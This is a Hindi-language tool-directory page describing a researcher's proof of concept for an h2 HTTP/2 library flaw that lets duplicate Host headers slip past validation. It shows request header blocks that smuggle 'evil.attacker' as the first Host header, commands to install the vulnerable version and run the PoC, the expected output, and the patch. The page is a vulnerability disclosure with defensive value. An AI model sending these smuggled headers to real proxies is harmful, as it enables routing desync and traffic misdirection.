Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
poc-h2-CVE-2026-71554 — CVE-2026-71554 के लिए PoC - h2 डुप्लिकेट Host header रिक्वेस्ट स्मगलिंग प्राइमिटिव (4.4.1 में ठीक किया गया) | Kitploit
उपकरण/GitHubGitHub/sunandm/poc-h2-cve-2026-71554
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणएपीआई सुरक्षा परीक्षणवेब सुरक्षाAPI सुरक्षाप्रतिकूल हमला
GitHubsunandm/poc-h2-cve-2026-71554

poc-h2-CVE-2026-71554

CVE-2026-71554 के लिए PoC - h2 डुप्लिकेट Host header रिक्वेस्ट स्मगलिंग प्राइमिटिव (4.4.1 में ठीक किया गया)

रिपॉजिटरी देखें
1282 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-71554 - h2 डुप्लिकेट Host हेडर रिक्वेस्ट स्मगलिंग प्रिमिटिव

यह मेरा पहला CVE है, और मैंने इस PoC को इसलिए जारी किया है ताकि इस खोज का दस्तावेज़ीकरण हो सके और दूसरों को इसे समझने और पुनः उत्पन्न करने में मदद मिले।

CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg प्रभावित: h2 <= 4.4.0 ठीक किया गया: h2 4.4.1 गंभीरता: मध्यम (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554


मुझे क्या मिला

h2 के हेडर वैलिडेशन लॉजिक की समीक्षा करते समय, मैंने देखा कि src/h2/utilities.py में _validate_host_authority_header() यह जाँचता है कि Host और :authority मेल खाते हैं या नहीं - लेकिन यह केवल उस अंतिम Host हेडर की तुलना करता है जो उसे दिखता है। यदि आप दो Host हेडर भेजते हैं, तो h2 मिलान जाँच के लिए दूसरे का उपयोग करता है और बिना किसी शिकायत के दोनों को एप्लिकेशन तक अग्रेषित कर देता है।

दिलचस्प बात यह है कि h2 4.4.0 पहले से ही डुप्लिकेट Content-Length हेडर को ProtocolError के साथ अस्वीकार करता है। वही सुधार Host पर कभी लागू नहीं किया गया। स्रोत में एक TODO टिप्पणी भी थी जो इसी कमी को स्वीकार करती है:

# TODO: We should also guard against receiving duplicate Host headers,
#       and against sending duplicate headers.

मूल कारण

src/h2/utilities.py में _validate_host_authority_header() एक last-wins लूप का उपयोग करता है जो देखे गए अंतिम Host मान को रिकॉर्ड करता है और केवल उसी की जाँच करता है:

  1. :authority या Host में से कम से कम एक मौजूद हो
  2. जब दोनों मौजूद हों, तो वे मेल खाते हों

Host हेडर की संख्या पर कोई जाँच नहीं है। प्रत्येक Host हेडर, चाहे कितने भी मौजूद हों, डाउनस्ट्रीम एप्लिकेशन तक पहुँचा दिया जाता है।


आक्रमण परिदृश्य

केस 1 - दो Host हेडर, कोई :authority नहीं

क्लाइंट भेजता है:

:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker

h2 दोनों को स्वीकार करता है। एप्लिकेशन को दोनों Host हेडर प्राप्त होते हैं।

HTTP/1.1 डाउनग्रेड उत्पन्न करता है:

GET / HTTP/1.1
host: good.internal
host: evil.attacker

RFC 9112 s3.2 के अनुसार सर्वर को एक से अधिक Host हेडर वाले किसी भी HTTP/1.1 अनुरोध पर 400 प्रतिक्रिया देनी चाहिए। बैकएंड अलग-अलग व्यवहार करते हैं:

nginx          — 400 के साथ अस्वीकार करता है
Python stdlib  — स्वीकार करता है, lookup पर पहला Host लौटाता है
Werkzeug       — स्वीकार करता है, lookup पर पहला Host लौटाता है

केस 2 - स्टेल्थ स्मगलिंग (:authority बायपास)

क्लाइंट भेजता है:

:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker     <- index 0, first Host (seen by origin)
host: good.internal     <- index 1, last Host (used by h2 validator)

h2 सत्यापित करता है: अंतिम Host (good.internal) == :authority (good.internal) - पास हो जाता है।

एप्लिकेशन को दोनों Host हेडर प्राप्त होते हैं। HTTP/1.1 डाउनग्रेड उत्पन्न करता है:

GET / HTTP/1.1
host: evil.attacker
host: good.internal

जो बैकएंड single-key lookup पर पहला Host लौटाते हैं, वे अनुरोध को evil.attacker पर रूट कर देते हैं, जबकि h2 का मानना था कि उसने good.internal को सत्यापित किया है। h2 द्वारा सत्यापित और ओरिजिन द्वारा प्रोसेस किए गए के बीच पूर्ण रूटिंग डीसिंक।


नियंत्रण - एकल बेमेल Host सही ढंग से अस्वीकृत

:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker

h2 ProtocolError उठाता है। यह पुष्टि करता है कि यह कमी विशेष रूप से डुप्लिकेट Host हेडर तक सीमित है।


क्या प्रभावित हो सकता है

प्रभाव डिप्लॉयमेंट आर्किटेक्चर पर सशर्त है:

  • प्रभावित: वे रिवर्स प्रॉक्सी या API गेटवे जो क्लाइंट से HTTP/2 स्वीकार करते हैं और बैकएंड को अग्रेषित करते समय HTTP/1.1 में डाउनग्रेड करते हैं, जहाँ बैकएंड रूटिंग निर्णयों के लिए पहले Host हेडर का उपयोग करता है
  • प्रभावित बैकएंड (अनुभवजन्य रूप से परीक्षित): Python stdlib http.client, Werkzeug Headers -दोनों डुप्लिकेट Host स्वीकार करते हैं और पहला मान लौटाते हैं
  • अप्रभावित बैकएंड: nginx - डुप्लिकेट Host पर 400 के साथ अस्वीकार करता है
  • अप्रभावित डिप्लॉयमेंट: बिना किसी HTTP/1.1 डाउनग्रेड के एंड-टू-एंड HTTP/2

पुनः उत्पन्न करने के चरण

आवश्यकताएँ

pip install h2==4.4.0

चलाएँ

python3 poc_h2_duplicate_host.py

कमज़ोर 4.4.0 पर अपेक्षित आउटपुट

केस 1 - दो Host हेडर, कोई :authority नहीं (दोनों फ़ॉरवर्ड किए गए)
h2 ने Host हेडर फ़ॉरवर्ड किए: ['good.internal', 'evil.attacker']
परिणामी HTTP/1.1 अनुरोध:
GET / HTTP/1.1
host: good.internal
host: evil.attacker

केस 2 - STEALTH: :authority अंतिम Host से मेल खाता है, पहला Host तस्करी किया गया
:authority=['good.internal']  Host(s)=['evil.attacker', 'good.internal']
h2 मिसमैच जाँच पास होती है (:authority == अंतिम Host)।
परिणामी HTTP/1.1 अनुरोध:
GET / HTTP/1.1
host: evil.attacker
host: good.internal

नियंत्रण - एकल बेमेल Host बनाम :authority (सही ढंग से अस्वीकृत)
[control] SENDER अस्वीकृत: ProtocolError(...)

4.4.1 पर फ़िक्स सत्यापित करें

pip install h2==4.4.1
python3 poc_h2_duplicate_host.py

तीनों केस ProtocolError उत्पन्न करते हैं। कोई हेडर फ़ॉरवर्ड नहीं किया गया।


फ़िक्स

_validate_host_authority_header() में मौजूदा लूप में एक काउंटर जोड़ा गया:

host_header_count = 0
for header in headers:
    if header[0] == b"host":
        host_header_count += 1
    yield header

if host_header_count > 1:
    raise ProtocolError("Request header block has multiple Host headers.")

कमिट: https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6


श्रेय

Sunand Mohan (https://github.com/SunandM) द्वारा खोजा और रिपोर्ट किया गया

टूल डाउनलोड करें